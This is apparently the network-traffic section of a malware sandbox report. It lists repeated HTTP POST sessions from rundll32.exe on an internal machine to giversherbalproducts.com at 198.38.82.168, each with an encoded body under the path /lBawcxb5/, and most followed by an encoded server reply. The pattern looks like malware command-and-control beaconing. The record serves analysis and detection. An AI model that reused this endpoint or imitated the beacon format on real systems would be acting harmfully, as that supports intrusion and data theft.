Oct 4, 2021 16:03:35.784359932 CEST	7395	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:35 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.3	50144	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:35.964930058 CEST	7396	OUT	POST /lBawcxb5/KBBCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:36.489897966 CEST	7398	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.3	50145	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:36.120049953 CEST	7397	OUT	POST /lBawcxb5/O3ISJh0lISkdGgFDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:36.612437963 CEST	7398	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.3	50146	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:36.875025034 CEST	7400	OUT	POST /lBawcxb5/eCcMPD8NeSd1LSw+Hi1GenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:42.124063015 CEST	7417	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.3	50147	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:37.002778053 CEST	7400	OUT	POST /lBawcxb5/CAY8NDwxeTEffCYaHHoWJ3hCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:37.500902891 CEST	7401	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.3	50148	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:37.847362995 CEST	7402	OUT	POST /lBawcxb5/cgYjBRp4DDoYNg88ESgfHggTDw0RQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:38.300491095 CEST	7409	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.3	50150	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:38.679195881 CEST	7410	OUT	POST /lBawcxb5/fAkNJgYyczEiIgEDQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:39.209693909 CEST	7411	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.3	50151	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:39.631802082 CEST	7412	OUT	POST /lBawcxb5/HDMfexYCLQN8ejIsOUV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:40.068640947 CEST	7413	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:39 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49784	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:26.171857119 CEST	1090	OUT	POST /lBawcxb5/MyYYFB8/BgEuIANyGHgkPAMsGDcYQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:26.668869972 CEST	1094	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:26 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.3	50152	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:40.462816954 CEST	7414	OUT	POST /lBawcxb5/BkN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:40.984357119 CEST	7415	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 35 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh5fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.3	50153	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:41.369586945 CEST	7416	OUT	POST /lBawcxb5/LSUDfRkPAQYVLC17IwcGAAMOHTciHiYPF39DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
